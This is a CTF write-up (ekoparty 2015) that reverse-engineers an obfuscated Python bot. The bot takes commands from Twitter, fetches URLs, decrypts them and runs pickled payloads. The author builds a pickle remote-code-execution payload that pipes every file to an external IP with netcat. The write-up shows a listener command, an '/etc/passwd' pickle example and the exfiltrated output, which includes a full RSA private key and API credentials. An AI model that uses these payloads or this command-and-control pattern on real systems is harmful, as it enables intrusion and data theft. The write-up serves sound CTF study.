Rating:

[](ctf=ekoparty-ctf-2015)
[](type=reversing)
[](tags=malware,control,pickle,RSA)
[](tools=Twitter,easy-python-decompiler)
[](techniques=Decompiling)

# Malware (rev-200)

We have a [zip](../rev200.zip).
Extract and we get

```bash
$ file ekobot_final.pyc
ekobot_final.pyc: python 2.7 byte-compiled
```

Byte-compiled python can be very easily decompiled. So here I use [Easy Python Decompiler](http://sourceforge.net/projects/easypythondecompiler/). We get an [output](ekobot_final.py) which is scary!

```python
# Embedded file name: ekobot_final.py
import os
import sys
import httplib2
import cPickle
from Crypto.PublicKey import RSA
from base64 import b64decode
from twython import Twython
if 0:
i11iIiiIii
OO0o = 'ekoctf'
if 0:
Iii1I1 + OO0O0O % iiiii % ii1I - ooO0OO000o
if len(sys.argv) != 2:
os._exit(0)
if 0:
IiII1IiiIiI1 / iIiiiI1IiI1I1
o0OoOoOO00 = sys.argv[1]
if 0:
OOOo0 / Oo - Ooo00oOo00o.I1IiI
o0OOO = 'ienmDwTNHZVR9si4SzeCg1glB'
iIiiiI = 'TTlOJrwq5o9obnRyQXRyaOkRoYUBTrCzN9j9IHX0Bc4dS2xBHN'
if 0:
iii1II11ii * i11iII1iiI + iI1Ii11111iIi + ii1II11I1ii1I + oO0o0ooO0 - iiIIIII1i1iI

def o0oO0():
oo00 = 0
if os.path.isfile(o0OoOoOO00):
try:
o00 = open(o0OoOoOO00, 'r')
oo00 = int(o00.readline(), 10)
except:
oo00 = 0

return oo00
if 0:
II1ii - o0oOoO00o.ooO0OO000o + ii1II11I1ii1I.ooO0OO000o - iI1Ii11111iIi

def oo(twid):
try:
o00 = open(o0OoOoOO00, 'w')
o00.write(str(twid))
except:
if 0:
oO0o0ooO0 - OO0O0O - IiII1IiiIiI1.ii1II11I1ii1I * iiIIIII1i1iI * ii1I
if 0:
ii1II11I1ii1I

def oo00000o0(url):
I11i1i11i1I = httplib2.Http('')
Iiii, OOO0O = I11i1i11i1I.request(url, 'GET')
if Iiii.status == 200:
try:
if Iiii['content-type'][0:10] == 'text/plain':
return OOO0O
return 'Err'
except:
return 'Err'

else:
return url
if 0:
o0oOoO00o

def IiI1i(cipher_text):
try:
OOo0o0 = RSA.importKey(open('ekobot.pem').read())
O0OoOoo00o = b64decode(cipher_text)
iiiI11 = OOo0o0.decrypt(O0OoOoo00o)
return iiiI11
except Exception as OOooO:
print str(OOooO)
return 'Err'
if 0:
OOOo0 + Oo / ii1II11I1ii1I * iiiii

II111iiii = Twython(o0OOO, iIiiiI, oauth_version=2)
II = II111iiii.obtain_access_token()
II111iiii = Twython(o0OOO, access_token=II)
if 0:
Oo % ii1I
oo00 = o0oO0()
o0oOo0Ooo0O = II111iiii.search(q='#' + OO0o, rpp='250', result_type='mixed', since_id=oo00)
if 0:
I1IiI * iiIIIII1i1iI * iI1Ii11111iIi - oO0o0ooO0 - Ooo00oOo00o
for OooO0OO in o0oOo0Ooo0O['statuses']:
if OooO0OO['id'] > oo00:
oo00 = OooO0OO['id']
if 0:
ooO0OO000o
iii11iII = 0
try:
for i1I111I in OooO0OO['entities']['hashtags']:
if i1I111I['text'] == OO0o:
iii11iII = 1

if iii11iII == 1:
for i11I1IIiiIi in OooO0OO['entities']['urls']:
if os.fork() == 0:
IiIiIi = IiI1i(oo00000o0(i11I1IIiiIi['url']))
if IiIiIi[0:5] == 'eko11':
cPickle.loads(IiIiIi[5:])
os._exit(0)
if 0:
iii1II11ii.Oo.iIiiiI1IiI1I1.ii1I

except Exception as OOooO:
print str(OOooO)
if 0:
ii1II11I1ii1I + ooO0OO000o % i11iIiiIii.o0oOoO00o - IiII1IiiIiI1

oo(oo00)
```
I scroll though the code and rename variables to make it more readable and easy to debug. [Final](ekobot-chall.py)
```python
import os
import sys
import httplib2
import cPickle
from Crypto.PublicKey import RSA
from base64 import b64decode
from twython import Twython
name = 'ekoctf'

if len(sys.argv) != 2:
os._exit(0)
if 0:
IiII1IiiIiI1 / iIiiiI1IiI1I1
argv_1 = sys.argv[1]
Secret = 'ienmDwTNHZVR9si4SzeCg1glB'
key = 'TTlOJrwq5o9obnRyQXRyaOkRoYUBTrCzN9j9IHX0Bc4dS2xBHN'
print "Here!"
def o0oO0():
max_id = 0
if os.path.isfile(argv_1):
try:
o00 = open(argv_1, 'r')
max_id = int(o00.readline(), 10)
except:
max_id = 0

return max_id

def save_new_max(twid):
try:
o00 = open(argv_1, 'w')
o00.write(str(twid))
except:
print error

def get_content(url):
print url
I11i1i11i1I = httplib2.Http('')
Iiii, OOO0O = I11i1i11i1I.request(url, 'GET')
if Iiii.status == 200:
try:
if Iiii['content-type'][0:10] == 'text/plain':
return OOO0O
return 'Err'
except:
return 'Err'

else:
return url

def decrypt(cipher_text):
print cipher_text
return 'err'
try:
OOo0o0 = RSA.importKey(open('ekobot.pem').read())
O0OoOoo00o = b64decode(cipher_text)
iiiI11 = OOo0o0.decrypt(O0OoOoo00o)
return iiiI11
except Exception as OOooO:
print str(OOooO)
return 'Err'
twython_object = Twython(Secret, key, oauth_version=2)
access_token = twython_object.obtain_access_token()
twython_object = Twython(Secret, access_token=access_token)
max_id = o0oO0()
search_result = twython_object.search(q='#' + name, rpp='250', result_type='mixed', since_id=max_id)

for i in search_result['statuses']:
print i['id']
if i['id'] > max_id:
max_id = i['id']
iii11iII = 0
try:
for i1I111I in i['entities']['hashtags']:
if i1I111I['text'] == name:
iii11iII = 1

if iii11iII == 1:
for j in i['entities']['urls']:
if True:
IiIiIi = decrypt(get_content(j['url']))
print IiIiIi
if IiIiIi[0:5] == 'eko11':
cPickle.loads(IiIiIi[5:])
#os._exit(0)

except Exception as OOooO:
print str(OOooO)

print max_id
```
Now twython is Python wrapper for the Twitter API. Here first the program is registering itself and then searching for tweets with 'ekoctf' tag. For every tweet it will try to extract a url from it, then visit the url and dowload the content if its 'text\plain' Content-type. Next this content is decrypted by some private key locally stored. The decrypted plaintext is verified for starting with 'eko11' and the rest is loaded os cPickle.

cPickle is used to serialize python objects and suffers from code execution on loads().

```python
cPickle.loads('cos\nsystem\n(S'cat /etc/passwd'\ntR.'\ntR.')
```
If this service is being run somewhere then we can have code execution on that machine just by Tweeting our commands.
A nice example of C&C( command and control ).

However we would need a public key for encrypting the data. Looking around on twitter we find the [key](pub.pem) with same hashtag.
Now we can get the flag by various methods on the machine. We can make a request to a controlled domain with contents of the flag.

What I did was "cat * | nc my-machine port". It will dump the contents of every file to the port which I was listening on my machine.
A quick RSA encryption
```python
from Crypto.PublicKey import RSA
from base64 import b64decode,b64encode

key=RSA.importKey(open('pub.pem').read())
exploit="eko11"+"cos\nsystem\n(S'cat * | nc 182.70.222.238 8000'\ntR.'\ntR."
txt=key.encrypt(exploit,32)[0]
final=b64encode(txt)
print final
````

We can use pastebin's view-raw url as a link in the tweet and

```bash
while true ; do nc -l -n -v -p 8000 ; done
```
on my machine. After some 30-40 seconds
```
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAmWw84H8BSPG1Ispn1hBPWZ4ORxniLhOl76aOAsGsqdRZJyL+
PFLWedGUx0ELwzf3vWQ2wMDwN37MZYWdS4z8WT6P4FRtK09UtDgqNUQdx49WBqDf
2GmIT+uBwMQBUCe3x+RTVcwDzA1I0mPtJj3K6bGdmSSBZjgc6MA4rJil7xdSVP5P
edb8MZMKk/5tXmFl3gFjykkUfG+DbmsxulZ48D+IoIU6bVWAkael+ftZtDWY43Xk
ezD2swV01Eaw4J7MzBakPDA6KipxNhKQZ2xoeEsP2p8L67qF48eUbxI1ukcrqdy0
c92rSihmChGBmHQ2AREshtTTLpM24/Nrirje/QIDAQABAoIBAEF/xyGktxy4LDe1
J81o2yeMZdYPA9PeCYqdlaUxoBBFGuatdtK0HuKVCipi562pWDff78ws0qEunf59
o6CciSNkpTIFeTHzRVtHWyWwdfI7jGN6DPasX0iXZ6avR0w8GKbbIITRe5GC3mML
zDP2T4mjjX/S6PeF3zmyzr9I0BaZOgTdUumuYCzDfA9+MgRxIUi9i+7rrOMTiGdo
WGJVGC+j8vQiyf5eOGtlQxYLwm2pWas3EYrvk6jiesNhdDvr87X7YW8uABwUlLr5
5m/vocLCJLpo+QjFdyo6bNd/wEfQs1pG9C0UPIe46YIEeAkY08q2a5xzikfx/CGL
nsgc/dUCgYEAyynNy9qbUEbgJr6dfksTs2nBu89yG/vy3eoNoUbStr0LCAIYl8kn
XnwliCuli/5Zssb6/uBqX7fUuD3ztgCmo8KoNjJ/VHh9n701Uwl5FghqeoILnQHI
CFbN1Ub18VoOLt2SjgKN+7sqqrEiCqyyFxyoCDyBkBOqS7gr0V+/wMMCgYEAwVLQ
VZb335ovMx20cE8yO200dbwFdlJsYhM0PKSLLJ0aSsymrhFhUZC/rjQ8rJD1zs+W
lg6QeQ6yQRE4n4egi8NOnMms83kIMGeOa5VvCcQxXJ8v4Vez432SOeRHMxiUmiME
XHGnulsI9NhKYoMKfvfvLEwptzhCfAr2QO7e5T8CgYEAuFcZFVQowuFcd6tTagmj
OZLHJ6tl5YBpcPPzJBgID6lePgjw2aC6aSAKShEYZ/sE1pN3oRZtTqaVjAsifE0A
5uw0BuEw6ateiTd8D/kzdktymfAvq2m3X+GraE630COfZOTFGre0rum4ICMTOU5T
VWc6DCcihGFjjsrwb00Kx1MCgYAB9KuE4iUZzv6BPuCvbi2s6jroogFQJB9Skq0p
m+SIjAJTFWTuR+C7KYK26XJfsIu8Dt+QHw+ZGev1uo3fF0kpgM1Pyr6ELApIKxQG
xJk9+Q0iyb17Qx7fw0pyaXvK6Ym/UXFe2gt/WCJsD7AY9QhrJmj2AsM9RkVt6dJ5
77CzkwKBgQCk8oTtzfyXzUWcqsiekmHmzDAuO+SH/a0/FP2ceTq0I1caS6OAvYlj
R9aTJk5P02EmnfWCZVpMhzHlL4zO1x+2PiUiAXOthbyufWt5qyigp6jsNouLqFz0
Oksk+bPu1XDVqT2XpoQtFXyFuJZmaFlA3k2Ny7rGe5bJ8XWCX6E+Bg==
-----END RSA PRIVATE KEY-----
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAmWw84H8BSPG1Ispn1hBP
WZ4ORxniLhOl76aOAsGsqdRZJyL+PFLWedGUx0ELwzf3vWQ2wMDwN37MZYWdS4z8
WT6P4FRtK09UtDgqNUQdx49WBqDf2GmIT+uBwMQBUCe3x+RTVcwDzA1I0mPtJj3K
6bGdmSSBZjgc6MA4rJil7xdSVP5Pedb8MZMKk/5tXmFl3gFjykkUfG+DbmsxulZ4
8D+IoIU6bVWAkael+ftZtDWY43XkezD2swV01Eaw4J7MzBakPDA6KipxNhKQZ2xo
eEsP2p8L67qF48eUbxI1ukcrqdy0c92rSihmChGBmHQ2AREshtTTLpM24/Nrirje
/QIDAQAB
-----END PUBLIC KEY-----
#/usr/bin/python
import os
import sys
import httplib2
import cPickle
from Crypto . PublicKey import RSA
from base64 import b64decode
from twython import Twython
if 64 - 64: i11iIiiIii
OO0o = 'ekoctf'
if 81 - 81: Iii1I1 + OO0O0O % iiiii % ii1I - ooO0OO000o
if ( len ( sys . argv ) <> 2 ) :
os . _exit ( 0 )
if 4 - 4: IiII1IiiIiI1 / iIiiiI1IiI1I1
o0OoOoOO00 = sys . argv [ 1 ]
if 27 - 27: OOOo0 / Oo - Ooo00oOo00o . I1IiI
o0OOO = 'ienmDwTNHZVR9si4SzeCg1glB'
iIiiiI = 'TTlOJrwq5o9obnRyQXRyaOkRoYUBTrCzN9j9IHX0Bc4dS2xBHN'
if 23 - 23: iii1II11ii * i11iII1iiI + iI1Ii11111iIi + ii1II11I1ii1I + oO0o0ooO0 - iiIIIII1i1iI
def o0oO0 ( ) :
oo00 = 0
if os . path . isfile ( o0OoOoOO00 ) :
try :
o00 = open ( o0OoOoOO00 , "r" )
oo00 = int ( o00 . readline ( ) , 10 )
except :
oo00 = 0
return oo00
if 62 - 62: II1ii - o0oOoO00o . ooO0OO000o + ii1II11I1ii1I . ooO0OO000o - iI1Ii11111iIi
def oo ( twid ) :
try :
o00 = open ( o0OoOoOO00 , "w" )
o00 . write ( str ( twid ) )
except :
pass
if 89 - 89: oO0o0ooO0 - OO0O0O - IiII1IiiIiI1 . ii1II11I1ii1I * iiIIIII1i1iI * ii1I
if 25 - 25: ii1II11I1ii1I
def oo00000o0 ( url ) :
I11i1i11i1I = httplib2 . Http ( "" )
Iiii , OOO0O = I11i1i11i1I . request ( url , 'GET' )
if Iiii . status == 200 :
try :
if Iiii [ "content-type" ] [ 0 : 10 ] == 'text/plain' :
return OOO0O
else :
return 'Err'
except :
return 'Err'
else :
return url
if 94 - 94: o0oOoO00o
def IiI1i ( cipher_text ) :
try :
OOo0o0 = RSA . importKey ( open ( 'ekobot.pem' ) . read ( ) )
O0OoOoo00o = b64decode ( cipher_text )
iiiI11 = OOo0o0 . decrypt ( O0OoOoo00o )
return iiiI11
except Exception , OOooO :
print str ( OOooO )
return 'Err'
if 58 - 58: OOOo0 + Oo / ii1II11I1ii1I * iiiii
II111iiii = Twython ( o0OOO , iIiiiI , oauth_version = 2 )
II = II111iiii . obtain_access_token ( )
II111iiii = Twython ( o0OOO , access_token = II )
if 63 - 63: Oo % ii1I
oo00 = o0oO0 ( )
o0oOo0Ooo0O = II111iiii . search ( q = '#' + OO0o , rpp = "250" , result_type = "mixed" , since_id = oo00 )
if 81 - 81: I1IiI * iiIIIII1i1iI * iI1Ii11111iIi - oO0o0ooO0 - Ooo00oOo00o
for OooO0OO in o0oOo0Ooo0O [ 'statuses' ] :
if OooO0OO [ 'id' ] > oo00 :
oo00 = OooO0OO [ 'id' ]
if 28 - 28: ooO0OO000o
iii11iII = 0
try :
for i1I111I in OooO0OO [ 'entities' ] [ 'hashtags' ] :
if i1I111I [ 'text' ] == OO0o :
iii11iII = 1
if iii11iII == 1 :
for i11I1IIiiIi in OooO0OO [ 'entities' ] [ 'urls' ] :
if os . fork ( ) == 0 :
IiIiIi = IiI1i ( oo00000o0 ( i11I1IIiiIi [ 'url' ] ) )
if IiIiIi [ 0 : 5 ] == 'eko11' :
cPickle . loads ( IiIiIi [ 5 : ] )
os . _exit ( 0 )
if 40 - 40: iii1II11ii . Oo . iIiiiI1IiI1I1 . ii1I
except Exception , OOooO :
print str ( OOooO )
if 33 - 33: ii1II11I1ii1I + ooO0OO000o % i11iIiiIii . o0oOoO00o - IiII1IiiIiI1
oo ( oo00 )
# dd678faae9ac167bc83abf78e5cb2f3f0688d3a3
EKO{simple_C&C_RSAtu1ts}
```

Flag:
>EKO{simple_C&C_RSAtu1ts}

PS: I spent about 10 hours on this chall only because of the API. It never read my tweets. The admin fmunozs was cool and helpful and even used his account to tweet. Cheers man!

Original writeup (https://github.com/ByteBandits/writeups/tree/master/ekoparty-ctf-2015/reversing/Malware/sudhackar).